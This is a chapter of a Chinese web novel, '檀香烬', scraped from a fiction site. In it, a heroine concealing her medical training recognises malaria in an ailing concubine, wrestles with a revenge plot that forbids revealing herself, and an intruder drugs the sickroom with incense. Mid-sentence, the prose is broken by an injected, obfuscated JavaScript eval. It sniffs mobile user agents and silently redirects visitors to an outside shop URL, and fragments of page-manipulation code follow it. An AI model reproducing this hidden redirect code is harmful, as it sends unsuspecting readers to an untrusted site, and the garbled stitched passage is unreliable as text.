文趣网 > 都市小说 > 檀香烬 > 25. 魏小七不能通晓医术
    “静婉,可是你在房内?”

    门是敞开着的,清仪用指节叩了叩门,轻声问道。

    “阿檀来了!”冯晴面上讶然,温声道:“快进来。”

    冯姨娘房中陈设精致小巧,家具尽以素面为主,熏炉上冒出细细的青烟,四周萦绕的气息清淡又似有几分木韵,分外雅致。

    冯晴与府医围着床边,三两个丫鬟立在一侧,清仪端着栗糕款款走近。

    “我去寻你,听说你来此处了,”清仪将手中之物轻轻掀开,“我想着刚好也让姨娘尝尝我的手艺,便冒昧来了此处。”

    冯晴闻言看了眼碟中的栗糕,气味与品貌都与那八香斋所产别无二致,她眼中闪过一丝欣喜的光,随即却又暗了下去。

    “无妨,只是——”冯晴眸色一黯,道:“姨娘现在冷得厉害,只怕是无法品尝了。”

    清仪顺势看向躺在床上的胡姨娘,她双目紧闭、面色萎黄,脖颈以下皆覆上两层厚棉被,可面上依旧有冷汗渗出。

    “我方才在门口处听闻胡姨娘的伤寒之症反反复复,可有缘由?”清仪温声问。

    冯晴满脸愁容地轻轻摇头说:“许是天寒身子弱所致。”

    “那按照惯例,胡姨娘有眼下这般大寒之态后可是会持续高热,唯有大量发汗后才会恢复?”

    “确实如此。”冯晴连连点头,又问道:“阿檀姑娘,你是如何猜到的?”

    清仪未置可否,只道:“胡姨娘从前帮过我,可否让我留下来照顾她?”

    “自是可以。”她应下得很痛快,又转身前去送赵先生。

    清仪将手中的食盒在案桌上一放便大步行至床前,伸手搭上胡姨娘的脉。

    她细细端详着面前之人,许是因着生病已经变得面容清癯,被子内侧已被她染得冷汗涔涔。

    “等等!”清仪将搭在腕上的手一收。

    闻言,冯晴与赵先生顿时止住脚步。

    “怎么了?”冯晴问道。

    “胡姨娘可有头痛乏力,又或是四肢酸痛的情况?”

    冯晴与赵先生二人转头对视,皆是眉心一蹙,沉思片刻后,赵先生开口道:“半月前姨娘倒是说过她最近头风加重,她害了

    这头风病已经好多年了,我便照例给她加了些治头风的药。”

    “可是有什么问题吗?”赵先生哑声问道。

    “只怕胡姨娘所得的并非寻常伤寒,而是疟疾。”

    此言一出,只见二人脸色骤变。

    “可是几年前江南爆发的那种会死人的病症?”冯晴一时惊恐万状,问道。

    清仪点了点头,面上倒是无甚表情,缓声说:“奴婢家从前在江南,后来遇到天灾一路逃荒到了京城附近,路上我们那一行人中便曾有人患上此症,那一场疟疾中死了很多人。”

    说着,她转身看了一眼躺在床上病恹恹的胡姨娘,轻声道:“此病与寻常感冒症状十分相似,周身寒冷、高热又大汗淋漓,但反复无常,似是要痊愈,几日后却又高热不止,亦有人会产生头痛等症状。”

    “可数年来,京城中并未有人感染过此病症啊。”冯晴忧心忡忡地说,“会不会是看错了?”

    “应该不会错,”开口的是赵先生,“我曾听闻过此病症,如今想来确与阿檀所说无异,此病从未在京肆虐,故而今日有所疏忽。”

    赵先生削瘦的面庞上挂满歉意,他略一正色朝阿檀一揖道:“今日因我掉以轻心险些诊断失误,多谢阿檀姑娘。”

    “赵先生言重了。”清仪连忙回礼。

    “只是——”赵先生面上忽而犯了难,道:“我平生从未见过此病症之人,只怕没有医治的把握。”

    闻言,清仪平静的面色蓦然转寒,她亦意识到,在京中能医治该症之人恐怕甚是难寻,眼下又正值隆冬,只怕冯姨娘此次凶多吉少。

    严冬时节,天寒地冻,朔风呼啸不止,眼下已近黄昏,漫天皆是血红色的残阳。

    清仪已然同冯晴在胡姨娘房中忙碌了一整日,这一整天胡姨娘果然高热不止。

    清仪以清水浸湿毛巾,擦拭面部与四肢,足足两个时辰过去,胡姨娘才将热降得彻底。

    她中途醒过几次,最终还是昏昏地睡了过去。

    清仪与冯晴皆疲惫地坐于床边,两人覆着面纱,四目相对。

    她抬眸看去,只见冯晴的身躯微微塌着,往日里和颜悦色的面庞此刻已是颓色尽显,她低低地垂着头,一副心神不宁的样子,不知在思考着什么。

    良久,冯晴开口道:“我派去了几个小厮,让他们去寻城中找能够治疗疟疾的大夫,直到现在他们也没回来。”

    清仪自是明白此话意味着什么,她伸出手去,静静地将掌心覆于冯晴腕上。

    “会好的。”她轻声说。

    冯晴闻言扯出一抹笑容,点了点头说:“时候不早了,今日也累了你一天,你先回去吧,这里且有我照看,至于大夫的事,待我夫君归来之际我再去问问他。”

    清仪悄声宽慰了几句便静静告辞。

    她踏出院子,在冰天雪地里逆着肃肃北风而行。

    灿烂如火的夕阳没能留多久,眼见天空像是被浸了墨一般黑了下来,清仪的心中亦是如同泼了墨一般阴沉。

    几年前,在江南曾见过的那疟疾肆虐的场面像纷飞的雪花一般毫不顾忌地飘到她心中,世人皆知疟疾乃是传染病,为了其他人不被感染,他们被聚集到一处。

    那里哀声漫天,遍地皆是奄奄一息的病人,日落于他们而言就像是苍天对他们生命的预警,天黑了,很多人双眼一闭就坠入了永久的沉睡。

    那时候她跟随教她医术的师父不过两年,便随着师傅一同到那里为病人看病。

    病人见到他们如同将要溺水之人抓住了浮木,连连俯首跪拜。

    人群中有一个骨瘦如柴的男子,在她为其喂药之际,那男人的眼泪滴到了汤碗里,他热泪盈眶地告诉自己,说他的病马上就要康复了。

    他听说他的孩子已经出生了,他还未能见他一面,他说他那贤惠的妻子此刻必然在期盼着他回家。

    “像你这般善良之人一定会觅得良人,幸福一生,像我一样拥有自己的小家,和相爱的人长相厮守。”

    这是他告诉自己的。

    当天夜里那人便病逝了。

    后来师傅告诉自己他早已病入膏肓、无力回天。

    善良之人——

    这四个字在清仪脑中挥之不去,她走进偏房中,双手猛地一用力将门摔上。

    屋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938466|213788||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    内尚未点亮烛火,整间屋子在合上门的一瞬间陷入了伸手不见五指的漆黑。

    她瘫坐在红木凳子上,像一具被抽走血肉的躯壳。

    胡娘子曾在暗中悄悄帮过自己,清仪心想,可她若是出手相助极易暴露自己的身份,哪怕是找了理由搪塞过一时,恐怕也难保将来不被怀疑,况且,她也不知道自己究竟能有几成的把握救活胡娘子。

    行动得越多,留下的把柄就越多。

    她是阿檀,她是一路逃荒到京城的魏小七。

    魏小七不能通晓医术。

    清仪缓缓闭上双眼,那个骨瘦如柴的男子又出现在她面前,他那泪盈于睫的神情又攻上她的心扉。

    如若他得知自己学医并非为了救人,而是为了在复仇时能够自保,甚至是杀人,他还会觉得自己善良吗?

    清仪感觉自己的脸几乎是从痛苦里溢出了笑容,她的嘴角扯出一个弧度,喃喃道:“如若你得知我如今见死不救,可会后悔自己说出口的话?”

    她要复仇,要为含恨而死的几十口人讨一个公道,要为刀剑下的冤魂觅一条归路。上天从来没有留给她从善的机会。

    她倏然起身,却像一只无头苍蝇一般原地徘徊许久,不知该去往何处。

    第二天,胡娘子患上疟疾的消息传遍全府。

    陈尚书已经连夜命家丁快马加鞭地去蜀地寻求名医,众人得知所患的是疟疾,许多人心中惶恐,不敢出现在胡娘子住处附近,原本就十分僻静的院子变得愈加冷清。

    胡娘子房中除了两个素日里带在身边的大丫鬟外,便只有陈执桓与冯晴二人以纱巾覆住口鼻,前去床前照料。

    陈执生自请去看望却被大夫人拦了下来。

    清仪听人说今日胡娘子的病更重了,她也一整日不曾见到冯晴了。

    傍晚,胡姨娘房中——

    “你已在房中照料姨娘许久,快些回去歇息吧,晚上便由我同丫鬟照料。”冯晴柔声道。

    陈执桓的声音在一侧响起:“晚间太过辛苦,不如——”

    “你明日还要上朝,莫要误了正事。”冯晴打断他的话,温声说,“记得换身衣裳。”

    他闻言点了点头便先行离去。

    “你先下去睡一觉吧,前半夜便由我守着。”

    陈执桓走后,冯晴吩咐了身旁的丫鬟。

    说完,她疾步行至床前伸手探了探胡娘子额上的温度,虽然不热,可这一下却结结实实地触到了一手冷汗。

    冯晴看向双眼紧闭、面色苍白的胡娘子,不由得长叹一声,站起身去帮她掖了掖被角。

    夜里风凉,她又将毛巾放到热水中浸热为胡娘子擦拭额角。

    反复几次过后胡娘子似乎不再冒冷汗了,冯晴这才将毛巾收下。

    她始终全神贯注地盯着胡娘子,却不曾注意身后的变化。

    屋内烛火通明,窗外却有一黑影低伏攒动,一细尖之物轻轻刺破窗纸,只见一支空心竹管自小孔处探入——

    冯晴有些困意,便撑着手臂伏在床边,她刚欲伸出手去再触一下胡娘子的额头,却忽然嗅到一丝异香。

    她暗觉奇怪,正欲转头查看却忽然感到头变得昏昏沉沉,整个身体难以支撑,竟不自觉地闭上眼睛、瘫在了床边。